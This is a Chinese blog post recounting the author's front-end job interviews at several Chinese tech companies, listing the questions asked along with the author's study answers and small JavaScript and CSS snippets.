9. 你觉得你实习做的项目有什么改进的地方

10. 你做过印象最深刻的项目

11. 算法了解过吗

就知道一些基本的排序额...

12. Setstate 会发生什么

setState会引发一次组件的更新过程,从而引发页面的重新绘制。主要会涉及以下几个生命周期函数:

  • shouldComponentUpdate(被调用时this.state没有更新;如果返回了false,生命周期被中断,虽然不调用之后的函数了,但是state仍然会被更新)
  • componentWillUpdate(被调用时this.state没有更新)
  • render(被调用时this.state得到更新)
  • componentDidUpdate

13. 平时处理过什么兼容性

参考: web前端兼容性问题总结

14. 了解分布式和负载均衡么

然鹅我并不了解呃。

参考: 服务器负载均衡的基本功能和实现原理

五面

第四面确实是挂了,没面hr就让我走了,后面过了两天之后,三面面试官又把我捞起来了,说我计算机基础还有数据库基础不怎么好,然后说问我几个简单的,之后给了我机会面了hr,感谢三面面试官让我体验了阿里的整个面试流程,很满足了。

1. 进程和线程的区别

  • 根本区别:进程是操作系统资源分配的基本单位,而线程是任务调度和执行的基本单位。
  • 在开销方面:每个进程都有独立的代码和数据空间(程序上下文),程序之间的切换会有较大的开销;线程可以看做轻量级的进程,同一类线程共享代码和数据空间,每个线程都有自己独立的运行栈和程序计数器(PC),线程之间切换的开销小。
  • 所处环境:在操作系统中能同时运行多个进程(程序);而在同一个进程(程序)中有多个线程同时执行(通过CPU调度,在每个时间片中只有一个线程执行)。
  • 内存分配方面:系统在运行的时候会为每个进程分配不同的内存空间;而对线程而言,除了CPU外,系统不会为线程分配内存(线程所使用的资源来自其所属进程的资源),线程组之间只能共享资源。
  • 包含关系:没有线程的进程可以看做是单线程的,如果一个进程内有多个线程,则执行过程不是一条线的,而是多条线(线程)共同完成的;线程是进程的一部分,所以线程也被称为轻权进程或者轻量级进程。

2. 冒泡排序和快速排序的区别

简述了下冒泡和快排的思想,以及冒泡和快排的时间复杂度。

3. OSI七层模型以及作用

上面有写噢,不知道的往上翻。

4. 你有哪些优势,或者打动他的

呃,最怕这种自夸的问题额,然后就是夸了一顿,手动捂脸。

5. 面向对象和非面向对象有什么区别

面向对象三大特性:封装,继承,多态。

面向对象的好处:

  • 将对象进行分类,分别封装它们的数据和可以调用的方法,方便了函数、变量、数据的管理,方便方法的调用(减少重复参数等),尤其是在编写大型程序时更有帮助。
  • 用面向对象的编程可以把变量当成对象进行操作,让编程思路更加清晰简洁,而且减少了很多冗余变量的出现

参考: 面向对象(一)|面向对象概念及优点

6. 设计模式有哪些,说下装饰者模式和代理模式

前面有总结,往前翻。

7. 重载和重写有什么区别

方法重写(overriding)

  • 也叫子类的方法覆盖父类的方法,要求返回值、方法名和参数都相同。
  • 子类抛出的异常不能超过父类相应方法抛出的异常。(子类异常不能超出父类异常)
  • 子类方法的的访问级别不能低于父类相应方法的访问级别(子类访问级别不能低于父类访问级别)。

方法重载(overloading):

重载是在同一个类中的两个或两个以上的方法,拥有相同的方法名,但是参数却不相同,方法体也不相同,最常见的重载的例子就是类的构造函数。

参考: 方法重载和重写的区别

hr面

  1. 为什么选择前端开发
  2. 什么事情让你最有成就感
  3. 什么让你最有挫败感
  4. 为什么选择阿里
  5. 平时是怎么学习的
  6. 职业发展

百度

二面三面都有手写代码的环节,对于我这种动手能力弱的人来说还是挺吃力。当时提前批投递的是深圳百度,总共只招五个前端,没过也很正常。后面正式批笔试过了,但是要去北京面试,也就直接放弃了。

1. 为什么要用flex布局,align-items和justify-content的区别

传统布局基于盒模型,非常依赖 display属性 、position属性 、float属性。而flex布局更灵活,可以简便、完整、响应式地实现各种页面布局,比如水平垂直居中。

align-items:定义在垂直方向上的对齐方式;

justify-content:定义在水平方向上的对齐方式。

2. webpack是怎么打包的,babel又是什么?

把项目当做一个整体,通过一个给定的主文件(如:index.js),Webpack将从这个文件开始找到项目的所有依赖文件,使用loaders处理它们,最后打包为一个(或多个)浏览器可识别的JavaScript文件。

babel将es6、es7、es8等语法转换成浏览器可识别的es5或es3语法。

3. saas和less不同于普通css的地方

  • 定义变量,可以把反复使用的css属性值定义成变量,然后通过变量名来引用它们,而无需重复书写这一属性值;
  • 嵌套写法,父子关系一目了然;
  • 使用运算符,可以进行样式的计算;
  • 内置一些颜色处理函数用来对颜色值进行处理,例如加亮、变暗、颜色梯度等;
  • 继承:为多个元素定义相同样式的时候,我们可以考虑使用继承的做法;
  • Mixins (混入):有点像是函数或者是宏,当某段 CSS经常需要在多个元素中使用时,可以为这些共用的 CSS 定义一个Mixin,然后只需要在需要引用这些 CSS 地方调用该 Mixin 即可。

4. es 6模块和其他模块不同的地方

对比了一下es6模块和CommonJS模块:

区别CommonJSes6
加载原理第一次加载模块就会执行整个模块,再次用到时,不会执行该模块,而是到缓存中取值。不会缓存运行结果,动态的去被加载的模块中取值,并且变量总是绑定其所在模块。
输出值的拷贝(模块中值的改变不会影响已经加载的值)值的引用(静态分析,动态引用,原来模块值改变会改变加载的值)
加载方式运行时加载(加载整个模块,即模块中的所有接口)编译时加载(只加载需要的接口)
this指向指向当前模块指向undefined
循环加载只输出已经执行的部分,还未执行的部分不会输出遇到模块加载命令import时不会去执行模块,而是生成一个动态的只读引用,等到真正用到时再去模块中取值。只要引用存在,代码就能执行。

5. 有没有用过es6的一些异步处理函数

Promise,generator,async await

6. redux怎么处理异步操作

可以引入Redux-thunk或者redux-promise这种中间件,可以延迟事件的派发。

其中的原理:是因为他们用了applymiddleware()包装了store的dispatch方法,拥有可以处理异步的能力。

7. 为什么reducer要是个纯函数,纯函数是什么?

纯函数:对于相同的输入,永远会得到相同的输出,而且没有任何可观察的副作用,也不依赖外部环境的状态。

原因:Redux只通过比较新旧两个对象的存储位置来比较新旧两个对象是否相同(浅比较)。如果你在reducer内部直接修改旧的state对象的属性值,那么新的state和旧的state将都指向同一个对象。因此Redux认为没有任何改变,返回的state将为旧的state。两个state相同的话,页面就不会重新渲染了。

因为比较两个Javascript对象所有的属性是否相同的的唯一方法是对它们进行深比较。但是深比较在真实的应用当中代价昂贵,因为通常js的对象都很大,同时需要比较的次数很多。因此一个有效的解决方法是作出一个规定:无论何时发生变化时,开发者都要创建一个新的对象,然后将新对象传递出去。同时,当没有任何变化发生时,开发者发送回旧的对象。也就是说,新的对象代表新的state。

8. 高阶函数是什么,怎么去写一个高阶函数

高阶函数:参数值为函数或者返回值为函数。例如map,reduce,filter,sort方法就是高阶函数。

编写高阶函数,就是让函数的参数能够接收别的函数。

9. vue跟react的区别是什么

没有用过vue,所以就只说了vue具有双向绑定,react是单向数据流。

参考: Vue.js与React的全面对比

10. nodejs处理了什么问题

可以处理高并发的I/O,也能与websocket配合,开发长连接的实时交互应用程序。

11. 响应式布局,怎么做移动端适配

使用媒体查询可以实现响应式布局。

移动端适配方案:

(1)meta viewport:让当前viewport的宽度等于设备的宽度,同时不允许用户手动缩放。

<meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">

width=device-width: 让当前viewport宽度等于设备的宽度

user-scalable=no: 禁止用户缩放

initial-scale=1.0: 设置页面的初始缩放值为不缩放

maximum-scale=1.0: 允许用户的最大缩放值为1.0

minimum-scale=1.0: 允许用户的最小缩放值为1.0

(2)媒体查询(响应式)

(3)动态 rem 方案

参考: 移动端是怎么做适配的?

二面

1. 怎么做一个实时的聊天系统

使用WebSocket和nodejs,《nodejs实战》这本书详细介绍了这个项目。

2. 当消息有延迟的时候,怎么保证消息的正确顺序

每个消息在被创建时,都将被赋予一个全局唯一的、单调递增的、连续的序列号(SerialNumber,SN)。可以通过一个全局计数器来实现这一点。通过比较两个消息的SN,确定其先后顺序。

3. 怎么做一个登陆窗口,input有哪些兼容性

使用form表单。

4. input按钮如何校验

使用正则表达式。

5. 如何实现水平垂直居中,relative、absolute、fixed

我说了三种方式:

(1)使用表格

.container{
  width: 600px;
  height: 600px;
  background: #eee;
  display: table-cell;
  text-align: center;
  vertical-align: middle;
}
.center{
  background: blue;
}

(2)css3的transform属性

.container{
  width: 100%;
  height: 400px;
  background: #eee;
  position: relative;
}
.center{
  background: blue;
  position:absolute;
  top: 50%;
  left: 50%;
  transform: translate(-50%, -50%);
}

(3)flex布局

.container{
  width: 100%;
  height: 400px;
  background: #eee;
  display: flex;
  justify-content: center;
  align-items: center;
}
.center{
  width: 100px;
  height: 100px;
  background: blue;
  text-align: center;
}
  • relative:相对于自己的定位;
  • absolute:相对于最近一级定位元素的定位;
  • fixed:相对于窗口的定位。

6. 写一个函数,1s之后依次输出1,2,3,4,5

直接使用了let和定时器。

for(let i = 1 ; i < 6; i++){
    setTimeout(() => {
        conosle.log(i)
    }, 1000)
}

7. 事件队列(宏任务、微任务)

参考::这一次,彻底弄懂 JavaScript 执行机制

8. 如何每隔三个数加一个逗号,还要考虑小数点的情况

这道题就是大疆的笔试题,当时候笔试题也是瞎写的,后面也没仔细看,没想到又成了一道面试题。

function transform(number){
    var num = number.toString() 
    var numArr = num.split('.')
    var [num, dotNum] = numArr


    var operateNum = num.split('').reverse()
    var result = [], len = operateNum.length
    for(var i = 0; i< len; i++){
         result.push(operateNum[i])
         if(((i+1) % 3 === 0) && (i !== len-1)){
              result.push(',')
        }
    }

    if(dotNum){
         result.reverse().push('.', ...dotNum)
         return result.join('')
    }else{
         return result.reverse().join('')
    }

}

9. webpack有配置过吗?原理知道吗

参考前面。

10. 父子组件如何通信,子组件怎么跟父组件通信?

父组件把state作为props传递给子组件进行通信。

父组件写好state和处理该state的函数,同时将函数名通过props属性值的形式传入子组件,子组件调用父组件的函数,同时引起state变化。

11. 简单说一下pwa

面试的这个部门就是做pwa的,所以说了下自己对pwa的理解。

三面

1. 手写indexOf

function indexOf(str, val){
    var strLen = str.length, valLen = val.length
    for(var i = 0; i < strLen; i++){
        var matchLen = i + valLen
        var matchStr = str.slice(i, matchLen)
        if(matchLen > strLen){
            return -1
        }
        if(matchStr === val){
            return i
        }
    }
    return -1
}

2. 实现 JS 的继承

function A () {
   this.name = 'a';    
}

A.prototype.getName = function () {
    return this.name;
}

function B () {
}

// B 如何继承 A

参考: JS实现继承的几种方式

3. 从url输入到页面显示会有哪些步骤

(1)DNS服务器解析域名,找到对应服务器的IP地址;

(2)和服务器建立TCP三次握手连接;

(3)发送HTTP请求,服务器会根据HTTP请求到数据服务器取出相应的资源,并返回给浏览器;

(4)浏览器处理响应

  • 加载:浏览器对一个html页面的加载顺序是从上而下的。

当加载到外部css文件、图片等资源,浏览器会再发起一次http请求,来获取外部资源。
当加载到js文件,html文档会挂起渲染(加载解析渲染同步)的线程,等待js文件加载、解析完毕才可以恢复html文档的渲染线程。

  • 解析:解析DOM树和CSSDOM树。
  • 渲染:构建渲染树,将DOM树进行可视化表示,将页面呈现给用户。

4. method有哪些方法,分别是什么意思?post和put的区别

post:上传资源

put:修改资源

5. https有几次握手

6. http2比http1好的地方

主要是考察http2的几个特性。

参考:HTTP协议知识点总结

7. 页面刷新不出来,是有哪些问题

可以从第三题的每个步骤进行分析,大概是:

  • 域名不存在,或者ip地址错误
  • 网络问题,不能建立正常的tcp连接
  • 服务器找不到正确的资源

8. 上一次系统性的学习是什么时候,怎么学习的

学习react的时候,看文档、博客,照着网上写了点小项目。

9. 你觉得项目中最自豪的是什么

10. 上家公司有哪些不好的地方

网易

网易是在杭州网易大厦面的,一天面完三轮,然后录用排序,择优录取的吧。我投的是网易考拉,哭唧唧,后面被拒了之后还伤心的卸载了考拉。之后正式批投了杭研,过了笔试,要去武汉面,本来海康也是在武汉面的,考虑到还要住一晚上,有点怕怕,就没去了。

1.css3动画

2. flex布局

3. 实现call

Function.prototype.call2 = function (context) {
    var context = Object(context) || window
    context.fn = this
    var args = []
    for (var i = 1; i < arguments.length; i++) {
        args.push('arguments[' + i +']')
    }

    var res = eval('context.fn(' + args + ')')

    delete context.fn
    return res
}

4. 图片懒加载data-src

5. Promise异步

6. 水平垂直居中

7. 数组有哪些方法,哪些会改变原数组

改变原数组的方法:pop、push、reverse、shift、sort、splice、unshift,以及两个ES6新增的方法copyWithin 和 fill;

不改变原数组(复制):concat、join、slice、toString、toLocaleString、indexOf、lastIndexOf、未标准的toSource以及ES7新增的方法includes;

循环遍历:forEach、every、some、filter、map、reduce、reduceRight 以及ES6新增的方法entries、find、findIndex、keys、values。

8. 操作dom有哪些方法

创建:

  createDocumentFragment()    //创建一个DOM片段<br>
  createElement()   //创建一个具体的元素<br>
  createTextNode()   //创建一个文本节点<br>
  

添加:appendChild()

移出:removeChild()

替换:replaceChild()

插入:insertBefore()

复制:cloneNode(true)

查找:

  getElementsByTagName()    //通过标签名称<br>
  getElementsByClassName()    //通过标签名称<br>
  getElementsByName()    //通过元素的Name属性的值<br>
  getElementById()    //通过元素Id,唯一性

9. 左边定宽右边自适应

(1)左盒子左浮动,右盒子width=100%

(2)左盒子左浮动,右盒子margin-left=左盒子宽度

(3)左盒子左浮动,右盒子右浮动,设置calc(100vw-盒子宽度)

(4)父容器设置display=flex,右盒子flex:1

10. 事件代理

利用事件冒泡的原理,让自己的所触发的事件,让他的父元素代替执行。打个比方:一个button对象,本来自己需要监控自身的点击事件,但是自己不来监控这个点击事件,让自己的父节点来监控自己的点击事件。

11. 后端了解么

直接说了不了解,笑哭。

二面

1. 节流和防抖,手写一下代码

(1)防抖:

定义: 合并事件且不会去触发事件,当一定时间内没有触发这个事件时,才真正去触发事件。

原理:对处理函数进行延时操作,若设定的延时到来之前,再次触发事件,则清除上一次的延时操作定时器,重新定时。

场景: keydown事件上验证用户名,输入法的联想。

实现:

function debounce(fn, delay) {
    var timer

    return function () {
        var that = this
        var args = arguments

        clearTimeout(timer)
            timer = setTimeout(function () {
            fn.apply(that, args)
        }, delay)
    }
}

(2)节流:

定义: 持续触发事件时,合并一定时间内的事件,在间隔一定时间之后再真正触发事件。每间隔一段时间触发一次。

原理:对处理函数进行延时操作,若设定的延时到来之前,再次触发事件,则清除上一次的延时操作定时器,重新定时。

场景: resize改变布局时,onscroll滚动加载下面的图片时。

实现:

  • 方法一:使用时间戳。

当触发事件的时候,我们取出当前的时间戳,然后减去之前的时间戳(最一开始值设为0),如果大于设置的时间周期,就执行函数,然后更新时间戳为当前的时间戳,如果小于,就不执行。

缺陷:第一次事件会立即执行,停止触发后没办法再激活事件。

function throttle(fn, interval) {
    var previousTime = +new Date()

    return function () {
        var that = this
        var args = arguments
        var now = +new Date()
        if (now - previousTime >= interval) {
            previousTime = now
            fn.apply(that, args)
        }
   }
}
  • 方法二:使用定时器

当触发事件的时候,我们设置一个定时器,再触发事件的时候,如果定时器存在,就不执行,直到定时器执行,然后执行函数,清空定时器,这样就可以设置下个定时器。

缺陷:第一次事件会在n秒后执行,停止触发后依然会再执行一次事件。

function throttle(fn, interval) {
    var timer
    return function (){
        var that = this
        var args = arguments

   if(!timer){
        timer = setTimeout(function () {
            fn.apply(that, args)
            timer = null
         }, interval)
        }
    }
}
  • 方法三:优化

鼠标移入能立刻执行,停止触发的时候还能再执行一次。

var throttle = function(func,delay){
    var timer = null;
    var startTime = Date.now();

    return function(){
        var curTime = Date.now();
        var remaining = delay-(curTime-startTime);
        var context = this;
        var args = arguments;

        clearTimeout(timer);
        if(remaining<=0){
            func.apply(context,args);
            startTime = Date.now();
        }else{
            timer = setTimeout(func,remaining);
        }
    }
}

2. 知道哪些性能优化

3. react为什么比其他要快,虚拟dom知道吗

4. 写过什么组件

5. 平时怎么学习的

6. node,webpack了解么

7. 模块化,commonjs,es6模块

8. redux怎么实现的

hr面

  1. 项目上有哪些难点,项目中学到了什么
  2. 不喜欢跟什么样的人共事
  3. 平时怎么学习
  4. 为什么来杭州
  5. 职业发展

搜狗

搜狗是内推的,面试也很迷,第一面到第二面中间隔了二十几天,然后二面完了也毫无反馈。

一面

1. 说一下项目,整个网络过程,从前端到后台

2. Ajax 底层实现,readystate 有哪些

0-(未初始化)还没有调用send()方法

1-(载入)已调用send()方法,正在发送请求

2-(载入完成)send()方法执行完成,已经接收到全部响应内容

3-(交互)正在解析响应内容

4-(完成)响应内容解析完成,可以在客户端调用了

3. 状态码有哪些,100,307

4. OSI七层模型

5. TCP三次握手

6. SSL握手过程

7. jQuery 有哪些方法

8. display 有哪些属性,说一下flex的属性

9. Es6的async awiat ,generator

10. Map有哪些方法

Map的方法:set, get, has, delete, clear

遍历方法:

keys():返回键名的遍历器。

values():返回键值的遍历器。

entries():返回所有成员的遍历器。

forEach():遍历 Map 的所有成员。

参考: Set 和 Map 数据结构

11. 正则用过吗?exec, 匹配一个手机号

12. css3动画了解吗,怎么写一个loading动画

13. 怎么实现跨域,cors涉及哪些请求字段

14. 编程: 判断两个网络地址是否属于同一个子网掩码

用与运算符就可以了。当时是在牛客网的面试系统上写的,一直AC不出,也是很迷了额。

15. 怎么上传文件

二面

1. 怎么计算在一个页面上的停留时间

方案1:websocket,前端开个长连接,后台统计长连接时间。

方案2:ajax轮询,隔几秒发一个查询,后台记录第一与最后一个查询间隔时间。

方案3: 关闭窗口或者跳转的时候会触发window.onbeforeunload函数,可以在该函数中做处理(有兼容性问题);统计完数据记录到本地cookies中,一段时间后统一发送。

2. 给你一亿个数,是连续的,怎么找出两个不存在的数

用bitmap就能搞定了,存在为1,不存在为0。

3. 一个搜索框的输入联想,会遇到什么问题?如果第一个请求延迟,第二个请求先到,请问怎么处理?

键盘输入太快,每次输入都去联想,需要多次发送请求,会导致用户体验太差,可以使用防抖优化。

在前端做判断,判断此时的值是否与返回的值相同,不同就丢弃,相同就显示在页面。

4. Http的缓存

5. 二维码怎么工作的,扫描pc端的二维码,怎么让pc端登录?

  • pc端随机生成一个含有唯一uid的二维码,并与服务器建立一个长连接;
  • 手机扫描二维码,解析出二维码中的uid,并把这个uid和手机端的用户密码进行绑定,上传给服务器;
  • 服务器获得客户端信息之后,pc端的长连接轮询操作会获得该消息,显示该账号的信息;
  • pc端会再开一个长连接与手机端保持通信,等待手机端确认登陆后,获得服务器授权的token,就可以在pc端登陆进行正常通信了。

6. Promise 做什么的,有哪几种状态

异步处理的,有三个状态:resolve,pending,reject。

7. 项目有哪些难点,怎么处理的

8. 遇到过哪些性能优化

电信IT研发中心

当时听说电信对学历要求很高,本科基本都是211起的,想着自己本科太渣,就直接放弃了网上的笔试。之后电信来了学校宣讲会,跟朋友吃完饭看到了,就去说凑凑热闹,刚好有笔试也就做了。做完之后笔试居然考了最高分,比第二名高出二十分,手动捂脸额。一面完分数也挺高的,有95分,运气爆棚。重点是今年电信开的薪资实在太高了,目前还在纠结选哪个。

1. Xhtml和html的区别

  • XHTML 元素必须被正确地嵌套。
  • XHTML 元素必须被关闭。
  • 标签名必须用小写字母。
  • XHTML 文档必须拥有根元素。

2. 遇到过哪些兼容性问题

3. 浏览器内核有哪些,移动端用的是哪个

  • Trident内核:IE,MaxThon,TT,The Word,360,搜狗浏览器等。[又称为MSHTML]
  • Gecko内核:Netscape6及以上版本,FF,MozillaSuite/SeaMonkey等;
  • Presto内核:Opera7及以上。[Opera内核原为:Presto,现为:Blink]
  • Webkit内核:Safari,Chrome等。[Chrome的:Blink(Webkit的分支)]

对于Android手机而言,使用率最高的就是Webkit内核。

4. 怎么实现标签页的通信

5. Cookie、session,localstorage,sessionstorage

6. React 和jquery 之间的区别,哪个好用

7. 怎么实现继承

8. Es6,es7有哪些特性

9. 怎么跨域

10. Commonjs用的js哪个特性?

因为js之前只能在浏览器运行,为了能让js能在服务器上运行,所以设计了commonjs规范,而且js之前没有模块化的概念。

11. 选择器优先级

12. 伪类知道吗,有哪些

13. 块级元素有哪些,怎么转成行内元素

14. 一个完整的http请求,页面渲染过程,js和css文件怎么渲染

二面

一面问的都很常规的,不知道为啥给了这么高的分。二面的时候三个面试官,总共就问了三个问题,然后就说面试结束了,不超过五分钟。

1. TCP怎么工作的

三次握手

2. OSI七层模型,路由器工作在哪一层?

网络层

3. 平时用什么语言,用过哪些框架

深信服

深信服给的薪资居然比电信还低,而且加班还严重,就直接拒了。

一面

1. 跨域,同源策略,webpack里面有个跨域的方式知道么

2. 怎么把es6转成es5,babel怎么工作的

  • 解析:将代码字符串解析成抽象语法树
  • 变换:对抽象语法树进行变换操作
  • 再建:根据变换后的抽象语法树再生成代码字符串

3. 反向代理知道么,Nginx

4. 继承有哪些方式

5. 怎么实现一个sleep ,手写一个promise

6. 能写一个二叉树么,怎么去遍历

7. 深拷贝怎么写

(1)var new_arr = JSON.parse( JSON.stringify(arr) );

(2)for in 加递归

function isObj(obj) {
//判断是否为对象或者函数,但不是null
    return (typeof obj === 'object' || typeof obj === 'function') && obj !== null
}

function deepCopy(obj) {
    let newObj = Array.isArray(obj) ? [] : {}
    for(let key in obj) {
        newObj[key] = isObj(obj[key]) ? deepCopy(obj[key]) : obj[key]
    }
    return newObj
}

(3)$.extend()

(4)函数库lodash,提供_.cloneDeep()

8. 在公司除了完成上级交待的任务,还做了什么

9. 怎么实现垂直中间布局

10. Call和apply,哪个性能开销大

在思否上提问了,已有大神回答。

参考: call和apply的哪个性能更好

11. 正则写一个手机号,全局匹配是什么

12. 删除一个数组中的某个数

splice方法

13. 模块化介绍一下,什么是编译时优化

14. 有哪些网络安全名词,怎么防范

15. 平时怎么学习

二面

二面小哥哥问了几个问题之后,就一直跟我介绍深信服内部的一些管理、技术氛围、晋升机制什么的,全程都是笑脸额。

1. git push -u 是什么意思

绑定默认提交的远程版本库,加了参数-u后,以后即可直接用git push 代替git push origin master

2. git rebase解释下

有test和dev两个分支,分别有两个commit,此时执行下列命令:

git checkout test
git rebase dev

以dev为基准将test的提交进行回放,挨个的应用到dev上去,然后test的那些提交就会废弃。 等价于git merge dev。

git merge 和git rebase区别:

  • merge不会修改提交历史,rebase会修改提交历史

  • rebase只应用于本地没有提交的代码,如果应用到已经提交到远程的分支不要应用,不然会非常的麻烦,git merge 可以应用于远程分支。

3. linux命令,怎么打开一个文件

cat abc.txt

4. 你的上级给你review 代码时会提什么建议

5. 怎么看待加班和工作效率

6. get和post分别进行几次数据交互

get请求过程:(2次交互)

  • 浏览器请求tcp连接(第一次握手)   
  • 服务器答应进行tcp连接(第二次握手)   
  • 浏览器确认,并发送get请求头和数据(第三次握手,这个报文比较小,所以http会在此时进行第一次数据发送)   
  • 服务器返回200 ok响应。

post请求过程:(3次交互)

  • 浏览器请求tcp连接(第一次握手)   
  • 服务器答应进行tcp连接(第二次握手)   
  • 浏览器确认,并发送post请求头(第三次握手,这个报文比较小,所以http会在此时进行第一次数据发送)   
  • 服务器返回100 continue响应   
  • 浏览器开始发送数据   
  • 服务器返回200 ok响应

7. 怎么打断点,如何确定一个结果来自于哪个函数

ThoughtWorks

TW是内推的,做了内推作业后,就面了技术和文化面。技术面是在作业的基础上加两个功能,只写出来一个,后面一个没时间写了,然后就只讲了下思路。

文化面面了快一个小时,听说TW不加班,对女程序员还很友好,挺中意的公司,不过最后还是挂了额。

华为

华为的面试就不多说了,基本不问前端的,进去是随机分岗的。华为的面试阵仗是我见过的最大的,听说要招一万人,在万达那里面的,全是人啊,阔怕。现在正泡在offer池里,估计国庆后发正式offer吧。

二面碰到的是个女面试官,太恐怖了,一直在怼我,最怕碰到女面试官了,惨。

小米

小米是内推的,电话面了一面,国庆后要我去武汉现场面,那会学校刚好有事应该也不会去了。

1. redux主要做什么的,用过redux的一些中间件吗,简单说一下

2. react生命周期说一下,diff算法说一下

3. setstate时会合并修改,是在哪个函数里修改的?宏事件和微事件

setstate是异步更新的,通过一个队列机制实现state的更新,当执行setState时,会将需要更新的state合并后放入状态队列,而不会立即更新,队列可以高效的批量更新state。

4. let、const、var的区别;如果const定义的是个对象,能够修改对象的属性吗?

const实际上保证的并不是变量的值不得改动,而是变量指向的那个指针不得改动,可以给对象添加属性。如果真的想将对象冻结,应该使用Object.freeze方法。

5. Object.freeze和Object.seal的区别

Object.preventExtension:禁止对象添加新属性并保留已有属性;

Object.seal:在一个现有对象上调用 Object.preventExtensions(..) 并把所有现有属性标记为 configurable:false;

Object.freeze:在一个现有对象上调用 Object.seal(..) 并把所有“数据访问”属性标记为 writable:false。

6. 说一下防抖,应用场景是什么

7. 快速排序算法说下,基点怎么选?如果一个数组是已经排序好的怎么选基点?

  • 数组元素随机,取固定基准;
  • 数组元素已排序或逆序,取随机基准;
  • 更好的方法:三数取中,选取数组开头,中间和结尾的元素,通过比较,选择中间的值作为快排的基准。

8. 算法的稳定性,冒泡、快排

9. lodash,underscore的库了解么?有哪些方法

10. 整个项目的架构,包括前端、后台、运营

11. sort的底层实现机制,看过源码么?

数组长度<=22时采用插入排序,大于22用快排。

12. 怎么调试bug?打过断点么?如果前端代码被压缩,如何去找到相应元素?

chromre控制台下,在 Scripts 面板下面有个 Pretty print 按钮(这种符号 {}),点击会将压缩 js 文件格式化缩进规整的文件,这时候在设定断点可读性就大大提高了。

写在最后

感谢这一年的学习。另外,公司已签,感谢各位的关注。

其他资料

这些都是我的学习笔记,也可以参考:

查看原文

赞 197 收藏 163 评论 25

认证与成就

  • 获得 81 次点赞
  • 获得 18 枚徽章 获得 1 枚金徽章, 获得 3 枚银徽章, 获得 14 枚铜徽章

擅长技能
编辑

开源项目 & 著作
编辑

(゚∀゚ )
暂时没有

注册于 2015-12-30
个人主页被 1.8k 人浏览